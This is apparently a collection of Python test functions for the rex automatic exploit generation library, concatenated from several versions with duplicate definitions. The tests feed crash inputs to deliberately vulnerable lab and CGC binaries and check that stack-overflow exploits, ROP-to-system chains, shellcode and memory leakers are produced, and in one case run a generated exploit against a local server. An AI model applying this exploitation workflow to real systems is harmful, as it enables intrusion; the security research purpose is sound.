def test_shellcode_placement(): ''' Test that shellcode is placed in only executable memory regions. ''' crash = "A" * 272 crash = rex.Crash( os.path.join(bin_location, "tests/i386/shellcode_tester"), crash) arsenal = crash.exploit() exploit = arsenal.register_setters[0] # make sure the shellcode was placed into the executable heap page heap_top = crash.state.se.any_int(crash.state.cgc.allocation_base) nose.tools.assert_equal( struct.unpack("<I", exploit._raw_payload[-4:])[0] & 0xfffff000, heap_top) exec_regions = filter( lambda a: crash.state.se.any_int(crash.state.memory.permissions(a)) & 0x4, crash.symbolic_mem) # should just be two executable regions nose.tools.assert_equal(len(exec_regions), 2) # only executable regions should be that one heap page and the stack, despite having more heap control and global control nose.tools.assert_equal(sorted(exec_regions), sorted([0xb7ffb000, 0xbaaaaeec]))
def test_exploit_yielding(): # Test the yielding of exploits inp = bytes.fromhex( "0500ffff80ffffff80f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1ffff80f1f1f1ebf1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f100de7fff80ffffff800fffffff7ef3ffffffff7fffff80fffffeff09fefefefefe0a57656c63fe6d6520746f2850616c696e64726f6d65204669776465720a0affffffff80ffffe8800fffffff7f230a" ) path = os.path.join(bin_location, "tests/cgc/sc1_0b32aa01_01") with archr.targets.LocalTarget([path], target_os='cgc') as target: crash = rex.Crash(target, inp, fast_mode=True, rop_cache_path=os.path.join(cache_location, 'sc1_0b32aa01_01')) leakers = 0 register_setters = 0 for exploit in crash.yield_exploits(): leakers += 1 if exploit.cgc_type == 2 else 0 register_setters += 1 if exploit.cgc_type == 1 else 0 nose.tools.assert_true(_do_pov_test(exploit)) crash.project.loader.close() # make sure we can generate a few different exploits nose.tools.assert_true(register_setters >= 3) nose.tools.assert_true(leakers >= 2)
def test_legit_00003(): # Test exploration and exploitation of legit_00003. crash = b"1\n" + b"A" * 200 crash = rex.Crash(os.path.join(bin_location, "tests/defcon24/legit_00003"), crash, fast_mode=True, rop_cache_path=os.path.join(cache_location, 'legit_00003')) nose.tools.assert_true(crash.explorable()) nose.tools.assert_true(crash.one_of(Vulnerability.WRITE_WHAT_WHERE)) crash.explore() arsenal = crash.exploit( blacklist_techniques={'rop_set_register', 'rop_leak_memory'}) nose.tools.assert_true(len(arsenal.register_setters) >= 2) nose.tools.assert_true(len(arsenal.leakers) >= 1) for reg_setter in arsenal.register_setters: nose.tools.assert_true(_do_pov_test(reg_setter)) for leaker in arsenal.leakers: nose.tools.assert_true(_do_pov_test(leaker))
def break_cpp_vptr_smash():#L165 # Test detection of 'arbitrary-read' vulnerability type, exploration of the crash, and exploitation post-exploration crash = b"A" * 512 crash = rex.Crash(os.path.join(bin_location, "tests/i386/vuln_vptr_smash"), crash, rop_cache_path=os.path.join(cache_location, 'vuln_vptr_smash')) # this should just tell us that we have an arbitrary-read and that the crash type is explorable # but not exploitable nose.tools.assert_true(crash.one_of(Vulnerability.ARBITRARY_READ)) nose.tools.assert_false(crash.exploitable()) nose.tools.assert_true(crash.explorable()) crash.explore() # after exploring the crash we should see that it is exploitable nose.tools.assert_true(crash.exploitable) nose.tools.assert_true(crash.state.solver.symbolic(crash.state.regs.pc)) # let's generate some exploits for it arsenal = crash.exploit() # make sure we have three register setting exploits (one for each technique) nose.tools.assert_true(len(arsenal.register_setters) >= 2) # make sure we can also generate some leakers, should be rop and shellcode at this point nose.tools.assert_true(len(arsenal.leakers) >= 2) # make sure the test succeeds on every register setter for reg_setter in arsenal.register_setters: nose.tools.assert_true(_do_pov_test(reg_setter)) # make sure the test succeeds on every leaker for leaker in arsenal.leakers: nose.tools.assert_true(_do_pov_test(leaker)) _check_arsenal_has_send(arsenal)
def break_KPRCA_00057(): # L284 # This test requires pointing an arbitrary transmit using atoi at the flag with open(os.path.join(tests_dir, "KPRCA_00057_crash"), 'rb') as f: crash = f.read() # set up hooks format_infos = [] format_infos.append(FormatInfoStrToInt(0x8049e90, "based_atoi_8", str_arg_num=0, base=8, base_arg=None, allows_negative=False)) format_infos.append(FormatInfoStrToInt(0x804b3b0, "strtol", str_arg_num=0, base=None, base_arg=2, allows_negative=False)) format_infos.append(FormatInfoStrToInt(0x804b160, "strtol", str_arg_num=0, base=None, base_arg=2, allows_negative=False)) format_infos.append(FormatInfoDontConstrain(0x8049e90, "fdprintf", 1)) binary = os.path.join(bin_location, "tests/cgc/KPRCA_00057") crash = rex.Crash(binary, crash, format_infos=format_infos, rop_cache_path=os.path.join(cache_location, 'KPRCA_00057_crash')) nose.tools.assert_true(crash.one_of(Vulnerability.ARBITRARY_TRANSMIT)) flag_leaks = list(crash.point_to_flag()) nose.tools.assert_true(len(flag_leaks) >= 1) cg = colorguard.ColorGuard(binary, flag_leaks[0]) cg.causes_leak() pov = cg.attempt_pov() nose.tools.assert_true(_do_pov_test(pov))
def test_shellcode_placement(): # Test that shellcode is placed in only executable memory regions. inp = b"A" * 272 path = os.path.join(bin_location, "tests/cgc/shellcode_tester") with archr.targets.LocalTarget([path], target_os='cgc').build().start() as target: crash = rex.Crash(target, inp, fast_mode=True, rop_cache_path=os.path.join(cache_location, 'shellcode_tester')) arsenal = crash.exploit(blacklist_techniques={'rop_leak_memory', 'rop_set_register', 'circumstantially_set_register'}) exploit = [e for e in arsenal.register_setters if type(e) is CGCType1ShellcodeExploit][0] # make sure the shellcode was placed into the executable heap page heap_top = crash.state.solver.eval(crash.state.cgc.allocation_base) nose.tools.assert_equal(struct.unpack("<I", exploit._raw_payload[-4:])[0] & 0xfffff000, heap_top) exec_regions = list(filter(lambda a: crash.state.solver.eval(crash.state.memory.permissions(a)) & 0x4, crash.symbolic_mem)) crash.project.loader.close() # should just be two executable regions nose.tools.assert_equal(len(exec_regions), 2) # only executable regions should be that one heap page and the stack, despite having more heap control and global control nose.tools.assert_equal(sorted(exec_regions), sorted([0xb7ffb000, 0xbaaaaeec]))
def test_linux_stacksmash(): # Test exploiting a simple linux program with a stack buffer overflow. We should be able to exploit the test binary by # ropping to 'system', calling shellcode in the BSS and calling 'jmpsp' shellcode in the BSS. crash = b"A" * 227 crash = rex.Crash(os.path.join(bin_location, "tests/i386/vuln_stacksmash"), crash, fast_mode=True, rop_cache_path=os.path.join(cache_location, 'vuln_stacksmash'), tracer_args={ 'ld_linux': os.path.join(bin_location, 'tests/i386/ld-linux.so.2'), 'library_path': os.path.join(bin_location, 'tests/i386') }) exploit = crash.exploit( blacklist_techniques={'rop_leak_memory', 'rop_set_register'}) # make sure we're able to exploit it in all possible ways nose.tools.assert_equal(len(exploit.arsenal), 3) nose.tools.assert_true('rop_to_system' in exploit.arsenal) nose.tools.assert_true('call_shellcode' in exploit.arsenal) nose.tools.assert_true('call_jmp_sp_shellcode' in exploit.arsenal)
def test_reconstraining(): # Test our ability to reconstrain inp = b'3\x89111' + b'0' + b'A' * 190 + b'1' path = os.path.join(bin_location, "tests/cgc/PIZZA_00003") with archr.targets.LocalTarget([path], target_os='cgc') as target: crash = rex.Crash(target, inp, fast_mode=True, rop_cache_path=os.path.join(cache_location, 'PIZZA_00003')) ptfi = list(crash.point_to_flag()) nose.tools.assert_true(len(ptfi) >= 2) # test point to flag #1 cg = colorguard.ColorGuard(path, ptfi[0]) x = cg.attempt_exploit() nose.tools.assert_not_equal(x, None) nose.tools.assert_true(_do_pov_test(x)) # test point to flag #2 cg = colorguard.ColorGuard(path, ptfi[1]) x = cg.attempt_exploit() nose.tools.assert_not_equal(x, None) nose.tools.assert_true(_do_pov_test(x)) crash.project.loader.close()
def test_reconstraining(): """ Test our ability to reconstrain """ crash_input = "101010101014431b371c3389313131301a73cc62516e491dd2f10bfa256e8c5577383b5dcf6bc645d295b4011493c0e5ed80ffffff0b7070c1ecc2f516a892f17abe0dd15eb17ff76624646f6f756d6590746174696f6eb770de07ed4352a3f8575ffc47e9aaa3c792f17abe0dd15eb17ff76624646f63756d877c26a90f839aa84386b0d86123f1ebb65586a794aef8355c3c252410bce1c41494adbe17ec7fd3f764b30fe3bb8187c7bd146462f5010000007f5713a610eda32f16a52226fb88fe0d2905ba2c98f48645786563757461626c652f6400631257e567ff227038ae0bb5242d61549eb9febc41cc0b347e7c7c7c7c7c7c7c7c7c7c7c7c7c7c997c7c7c73d6121b47383e2e72c363a4255a44bd17bec98097e8bd91cf27711ecf4edc02b6f031b170de07ed4352a310575ffc47e9aaa3c77ca565638510c0179e3911eb569ca90064cd2b48c977641ba395905373fd0b578175a210101014431b371c333700313130e7062cf5d2dd371b8cf2812fd823bd634f4240afba99bff3eee8494da1e7634bb4cf511771331b73cf16bb41aedd7c632d636763ede059ee4d9c6603d09fe58e25b36d8d40104b2e868be8e2f7fc446fd8ac83587f842ab06ab2f0b33afbd8bf47f7c29a1314d4b32af4b400026bec8650bfa7b0858c2ab155865318a80534f75b3384d8".replace( "\n", "").decode("hex") binary = os.path.join(bin_location, "tests/cgc/PIZZA_00003") crash = rex.Crash(binary, crash_input) cp = crash.copy() ptfi = list(cp.point_to_flag()) nose.tools.assert_true(len(ptfi) >= 1) cg = colorguard.ColorGuard(binary, ptfi[0]) x = cg.attempt_exploit() nose.tools.assert_not_equals(x, None) nose.tools.assert_true(_do_pov_test(x)) # test point to flag nose.tools.assert_true(len(ptfi) >= 2) cg = colorguard.ColorGuard(binary, ptfi[1]) x = cg.attempt_exploit() nose.tools.assert_not_equals(x, None) nose.tools.assert_true(_do_pov_test(x))
def break_chall_resp_atoi(): crash_input = b'-435982256\n-439864843\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' \ b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' \ b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' \ b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' \ b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n' bin_path = bin_location + "/tests/i386/chall_resp_atoi" cfg_fast = angr.Project(bin_path).analyses.CFGFast() atoi_addr = cfg_fast.functions["atoi"].addr itoa_addr = cfg_fast.functions["itoa"].addr f1 = FormatInfoIntToStr(addr=itoa_addr, func_name="itoa", int_arg_num=1, str_dst_num=0, base=10, base_arg=None) f2 = FormatInfoStrToInt(addr=atoi_addr, func_name="atoi", str_arg_num=0, base=10, base_arg=None, allows_negative=True) crash = rex.Crash(bin_path, crash=crash_input, format_infos=[f1, f2], rop_cache_path=os.path.join(cache_location, "chall_resp_atoi")) exploit_f = crash.exploit() for e in exploit_f.register_setters: nose.tools.assert_true(_do_pov_test(e)) for e in exploit_f.leakers: nose.tools.assert_true(_do_pov_test(e))
def test_reconstraining(): # Test our ability to reconstrain crash_input = b'3\x89111' + b'0' + b'A' * 190 + b'1' binary = os.path.join(bin_location, "tests/cgc/PIZZA_00003") crash = rex.Crash(binary, crash_input, fast_mode=True, rop_cache_path=os.path.join(cache_location, 'PIZZA_00003')) ptfi = list(crash.point_to_flag()) nose.tools.assert_true(len(ptfi) >= 2) # test point to flag #1 cg = colorguard.ColorGuard(binary, ptfi[0]) x = cg.attempt_exploit() nose.tools.assert_not_equals(x, None) nose.tools.assert_true(_do_pov_test(x)) # test point to flag #2 cg = colorguard.ColorGuard(binary, ptfi[1]) x = cg.attempt_exploit() nose.tools.assert_not_equals(x, None) nose.tools.assert_true(_do_pov_test(x))
def test_legit_00001(): # Test exploitation of legit_00001 given a good crash. crash = bytes.fromhex( '1002000041414141414141414141414d41414141414141414141414141414141001041414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141412a4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141604141414141414141414102ffffff410080ffff4141410d807f412641414141414141414141414141414141414141413b41415f414141412b41414141417f4141414141412441414141416041f8414141414141c1414139410010000200005541415f4141b9b9b9b1b9d4b9b9b9b99cb99ec4b9b9b941411f4141414141414114414141514141414141414141414141454141494141414141414141404141414141414d414124a0414571717171717171717171717171717171616161616161616161616161616161006161515e41414141412041414141412125414141304141492f41414141492f4141414541412c4141410037373737373737373737414141414141413a41c4b9b9b9b901b9413c41414141414141414141414141412133414141414141412f414141414141414164414141414141414141414141417f41414100010000000055414b4100124141414141414141' ) crash = rex.Crash(os.path.join(bin_location, "tests/defcon24/legit_00001"), crash, fast_mode=True, rop_cache_path=os.path.join(cache_location, 'legit_00001'), use_crash_input=True) arsenal = crash.exploit( blacklist_techniques={'rop_set_register', 'rop_leak_memory'}) nose.tools.assert_true(len(arsenal.register_setters) >= 2) nose.tools.assert_true(len(arsenal.leakers) >= 1) for reg_setter in arsenal.register_setters: nose.tools.assert_true(_do_pov_test(reg_setter)) for leaker in arsenal.leakers: nose.tools.assert_true(_do_pov_test(leaker))
def test_legit_00003(): # Test exploration and exploitation of legit_00003. inp = b"1\n" + b"A" * 200 path = os.path.join(bin_location, "tests/defcon24/legit_00003") with archr.targets.LocalTarget([path], target_os='cgc') as target: crash = rex.Crash(target, inp, fast_mode=True, rop_cache_path=os.path.join(cache_location, 'legit_00003')) nose.tools.assert_true(crash.explorable()) nose.tools.assert_true(crash.one_of(Vulnerability.WRITE_WHAT_WHERE)) crash.explore() arsenal = crash.exploit( blacklist_techniques={'rop_set_register', 'rop_leak_memory'}) nose.tools.assert_true(len(arsenal.register_setters) >= 2) nose.tools.assert_true(len(arsenal.leakers) >= 1) crash.project.loader.close() for reg_setter in arsenal.register_setters: nose.tools.assert_true(_do_pov_test(reg_setter)) for leaker in arsenal.leakers: nose.tools.assert_true(_do_pov_test(leaker))
def test_linux_stacksmash_32(): # Test exploiting a simple linux program with a stack buffer overflow. We should be able to exploit the test binary by # ropping to 'system', calling shellcode in the BSS and calling 'jmpsp' shellcode in the BSS. inp = b"A" * 227 lib_path = os.path.join(bin_location, "tests/i386") ld_path = os.path.join(lib_path, "ld-linux.so.2") path = os.path.join(lib_path, "vuln_stacksmash") with archr.targets.LocalTarget( [ld_path, '--library-path', lib_path, path], path, target_arch='i386').build().start() as target: crash = rex.Crash(target, inp, fast_mode=True, rop_cache_path=os.path.join(cache_location, 'vuln_stacksmash')) exploit = crash.exploit( blacklist_techniques={'rop_leak_memory', 'rop_set_register'}) crash.project.loader.close() # make sure we're able to exploit it in all possible ways assert len(exploit.arsenal) == 3 assert 'rop_to_system' in exploit.arsenal assert 'call_shellcode' in exploit.arsenal assert 'call_jmp_sp_shellcode' in exploit.arsenal _check_arsenal_has_send(exploit.arsenal)
def test_cgc_type1_rop_stacksmash(): # Test creation of type1 exploit on 0b32aa01_01 ('Palindrome') with rop. The vulnerability exposed by the string `crash` is # stack buffer overflow. This testcase should exercise rex exploiting stack-based buffer overflows with rop. crash = bytes.fromhex( "0500ffff80ffffff80f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1ffff80f1f1f1ebf1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f100de7fff80ffffff800fffffff7ef3ffffffff7fffff80fffffeff09fefefefefe0a57656c63fe6d6520746f2850616c696e64726f6d65204669776465720a0affffffff80ffffe8800fffffff7f230a" ) crash = rex.Crash(os.path.join(bin_location, "tests/cgc/sc1_0b32aa01_01"), crash, fast_mode=True, rop_cache_path=os.path.join(cache_location, 'sc1_0b32aa01_01')) arsenal = crash.exploit() # make sure we can control ecx, edx, ebx, ebp, esi, and edi with rop nose.tools.assert_true(len(arsenal.register_setters) >= 3) nose.tools.assert_true(len(arsenal.leakers) >= 2) # make sure the test succeeds on every register setter for reg_setter in arsenal.register_setters: nose.tools.assert_true(_do_pov_test(reg_setter)) # make sure the test succeeds on every leaker for leaker in arsenal.leakers: nose.tools.assert_true(_do_pov_test(leaker))
def test_linux_stacksmash_64(): # Test exploiting a simple linux 64-bit program with a stack buffer overflow. We should be able to exploit the test binary by # ropping to 'system', calling shellcode in the BSS, and calling 'jmpsp' shellcode in the BSS. inp = b"A" * 250 lib_path = os.path.join(bin_location, "tests/x86_64") ld_path = os.path.join(lib_path, "ld-linux-x86-64.so.2") path = os.path.join(lib_path, "vuln_stacksmash") with archr.targets.LocalTarget( [ld_path, '--library-path', lib_path, path], path, target_arch='x86_64').build().start() as target: crash = rex.Crash(target, inp, fast_mode=True, rop_cache_path=os.path.join(cache_location, 'vuln_stacksmash_64'), aslr=False) exploit = crash.exploit() crash.project.loader.close() # make sure we're able to exploit it to call shellcode assert 'call_shellcode' in exploit.arsenal _check_arsenal_has_send(exploit.arsenal)
def test_cromu71(): crash_input = b'3&\x1b\x17/\x12\x1b\x1e]]]]]]]]]]]]]]]]]]]]\n\x1e\x7f\xffC^\n' binary = os.path.join(bin_location, "tests/cgc/simplified_CROMU_00071") # create format info for atoi format_infos = [] format_infos.append( FormatInfoStrToInt(0x804C500, "based_atoi_signed_10", str_arg_num=0, base=10, base_arg=None, allows_negative=True)) crash = rex.Crash(binary, crash_input, fast_mode=True, rop_cache_path=os.path.join(cache_location, 'simplified_CROMU_00071')) # let's generate some exploits for it arsenal = crash.exploit( blacklist_techniques={'rop_set_register', 'rop_leak_memory'}) # make sure it works nose.tools.assert_true(_do_pov_test(arsenal.best_type1))
def test_shellcode_placement(): # Test that shellcode is placed in only executable memory regions. crash = b"A" * 272 crash = rex.Crash(os.path.join(bin_location, "tests/i386/shellcode_tester"), crash, fast_mode=True, rop_cache_path=os.path.join(cache_location, 'shellcode_tester')) arsenal = crash.exploit( blacklist_techniques={'rop_leak_memory', 'rop_set_register'}) exploit = arsenal.register_setters[0] # make sure the shellcode was placed into the executable heap page heap_top = crash.state.solver.eval(crash.state.cgc.allocation_base) nose.tools.assert_equal( struct.unpack("<I", exploit._raw_payload[-4:])[0] & 0xfffff000, heap_top) exec_regions = list( filter( lambda a: crash.state.solver.eval(crash.state.memory.permissions(a) ) & 0x4, crash.symbolic_mem)) # should just be two executable regions nose.tools.assert_equal(len(exec_regions), 2) # only executable regions should be that one heap page and the stack, despite having more heap control and global control nose.tools.assert_equal(sorted(exec_regions), sorted([0xb7ffb000, 0xbaaaaeec]))
def test_write_what_where_shadowstack(): """ Test that our write what where exploit can leak, and works in the presence of a shadowstack """ crash_str = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n" crash = rex.Crash(os.path.join(bin_location + "/tests/i386/write_what_where_shadow_stack"), crash_str) arsenal = crash.exploit() exploit = arsenal.best_type2 nose.tools.assert_true(exploit.test_binary())
def _run_rex(self, atoi_infos=None): LOG.info("Rex beginning to triage crash %d for cs %s", self._crashing_test.id, self._cs.name) try: cached_blob = str(RopCache.get(RopCache.cs == self._cs).blob) cached = pickle.loads(cached_blob) LOG.info("Got a rop cache") except RopCache.DoesNotExist: cached = None LOG.info("No rop cache available") use_rop = cached is not None crash = rex.Crash(self._cbn.path, str(self._crashing_test.blob), use_rop=use_rop, rop_cache_tuple=cached, format_infos=atoi_infos) self._crash = crash if not crash.leakable() and not crash.exploitable( ) and not crash.explorable(): raise ValueError("Crash was not exploitable or explorable") # split the crash in case we need to try both explore-for-exploit and forge-ahead forge_ahead_crash = crash.copy() try: # maybe we need to do some exploring first if forge_ahead_crash.leakable(): LOG.info("Trying to leverage crash to cause a leak") self.craft_leaks(forge_ahead_crash) if forge_ahead_crash.explorable(): LOG.info( "Exploring crash in hopes of getting something more valuable" ) forge_ahead_crash = self.forge_ahead(self._crashing_test, forge_ahead_crash) if forge_ahead_crash.exploitable(): LOG.info("Attempting to exploit crash") self.exploit_crash(self._crashing_test, forge_ahead_crash) except (rex.CannotExplore, rex.CannotExploit, rex.NonCrashingInput) as e: LOG.warning( "Crash was not explorable using the forge-ahead method") LOG.error("Encountered error %s (%s)", e, e.message) # use explore-for-exploit if crash.one_of([ rex.Vulnerability.WRITE_WHAT_WHERE, rex.Vulnerability.WRITE_X_WHERE ]): self.exploit_crash(self._crashing_test, crash)
def test_linux_network_stacksmash_64(): # Test exploiting a simple network server with a stack-based buffer overflow. inp = b'\x00' * 500 lib_path = os.path.join(bin_location, "tests/x86_64") ld_path = os.path.join(lib_path, "ld-linux-x86-64.so.2") path = os.path.join(lib_path, "network_overflow") port = random.randint(8000, 9000) with archr.targets.LocalTarget( [path, str(port)], path, target_arch='x86_64', ipv4_address="127.0.0.1", tcp_ports=(port, )).build().start() as target: crash = rex.Crash(target, inp, rop_cache_path=os.path.join(cache_location, 'network_overflow_64'), aslr=False, input_type=rex.enums.CrashInputType.TCP, port=port) exploit = crash.exploit() crash.project.loader.close() assert 'call_shellcode' in exploit.arsenal _check_arsenal_has_send(exploit.arsenal) # let's actually run the exploit new_port = random.randint(9001, 10000) with archr.targets.LocalTarget( [path, str(new_port)], path, target_arch='x86_64', ipv4_address="127.0.0.1", tcp_ports=(new_port, )).build().start() as new_target: try: p = new_target.run_command("") # wait for the target to load time.sleep(.5) temp_script = tempfile.NamedTemporaryFile(suffix=".py", delete=False) exploit_location = temp_script.name temp_script.close() exploit.arsenal['call_shellcode'].script(exploit_location) exploit_result = subprocess.check_output([ "python", exploit_location, "127.0.0.1", str(new_port), "-c", "echo hello" ]) assert b"hello" in exploit_result finally: os.unlink(exploit_location)
def test_linux_stacksmash(): ''' Test exploiting a simple linux program with a stack buffer overflow. We should be able to exploit the test binary by ropping to 'system', calling shellcode in the BSS and calling 'jmpsp' shellcode in the BSS. ''' crash = "A" * 227 crash = rex.Crash(os.path.join(bin_location, "tests/i386/vuln_stacksmash"), crash) crash.explore() exploit = crash.exploit()
def test_chall_resp_rand(): crash_input = " (((" \ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n" crash = rex.Crash(bin_location + "/tests/i386/overflow_after_chall_resp_rand", crash=crash_input) exploit_f = crash.exploit() for e in exploit_f.register_setters: nose.tools.assert_true(_do_pov_test(e)) for e in exploit_f.leakers: nose.tools.assert_true(_do_pov_test(e))
def test_chall_response(): crash_input = "\x63\xbd\x66\xfd" + \ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n" crash = rex.Crash(bin_location + "/tests/i386/overflow_after_challenge_response2", crash=crash_input) exploit_f = crash.exploit() for e in exploit_f.register_setters: nose.tools.assert_true(_do_pov_test(e)) for e in exploit_f.leakers: nose.tools.assert_true(_do_pov_test(e))
def test_hammer_controller_qemu_tracer(): build_docker() t = archr.targets.DockerImageTarget( 'rex_tests:hammer_controller').build().start() tb = archr.arsenal.QEMUTracerBow(t) crash = rex.Crash(t, b"\x41" * 120 + b'\n', aslr=False, tracer_bow=tb) exploit = crash.exploit() assert 'rop_chess_control' in exploit.arsenal exploit.arsenal['rop_chess_control'].script() exploit.arsenal['rop_chess_control'].script("x2.py")
def test_write_what_where_shadowstack(): # Test that our write what where exploit can leak, and works in the presence of a shadowstack inp = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n" path = os.path.join(bin_location, "tests/cgc/write_what_where_shadow_stack") with archr.targets.LocalTarget([path], target_os='cgc') as target: crash = rex.Crash(target, inp, rop_cache_path=os.path.join(cache_location, "write_what_where_shadow_stack")) arsenal = crash.exploit() crash.project.loader.close() exploit = arsenal.best_type2 nose.tools.assert_true(exploit.test_binary())
def test_linux_stacksmash(): ''' Test exploiting a simple linux program with a stack buffer overflow. We should be able to exploit the test binary by ropping to 'system', calling shellcode in the BSS and calling 'jmpsp' shellcode in the BSS. ''' crash = "A" * 227 crash = rex.Crash(os.path.join(bin_location, "tests/i386/vuln_stacksmash"), crash) exploit = crash.exploit() # make sure we're able to exploit it in all possible ways nose.tools.assert_equal(len(exploit.arsenal), 3) nose.tools.assert_true('rop_to_system' in exploit.arsenal) nose.tools.assert_true('call_shellcode' in exploit.arsenal) nose.tools.assert_true('call_jmp_sp_shellcode' in exploit.arsenal)
def test_chall_resp_rand(): crash_input = b" (((" \ b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \ b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \ b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n" crash = rex.Crash( bin_location + "/tests/i386/overflow_after_chall_resp_rand", crash=crash_input, rop_cache_path=os.path.join(cache_location, "overflow_after_chall_resp_rand")) exploit_f = crash.exploit() for e in exploit_f.register_setters: nose.tools.assert_true(_do_pov_test(e)) for e in exploit_f.leakers: nose.tools.assert_true(_do_pov_test(e))
def test_halfway_tracing(): inp = b'A' * 100 bin_path = os.path.join(bin_location, "tests", "x86_64", "stack_smash") with archr.targets.LocalTarget( [bin_path], target_arch='x86_64').build().start() as target: bow = archr.arsenal.QEMUTracerBow(target) crash = rex.Crash(target, inp, fast_mode=True, use_rop=True, tracer_bow=bow, trace_addr=0x4005bd) exp = crash.exploit() nose.tools.assert_true('rop_to_system' in exp.arsenal) nose.tools.assert_true('rop_register_control' in exp.arsenal)
def test_cromu_00071(): ''' Test exploitation of CROMU_00071 ''' crash = rex.Crash( os.path.join(bin_location, "tests/cgc/CROMU_00071"), "0c0c492a53acacacacacacacacacacacacac000100800a0b690e0aef6503697d660a0059e20afc0a0a332f7d66660a0059e20afc0a0a332f7fffffff16fb1616162516161616161616166a7dffffff7b0e0a0a6603697d660a0059e21c" .decode('hex')) arsenal = crash.exploit() nose.tools.assert_equals(len(arsenal.register_setters), 2) for exploit in arsenal.register_setters: nose.tools.assert_true(_do_pov_test(exploit))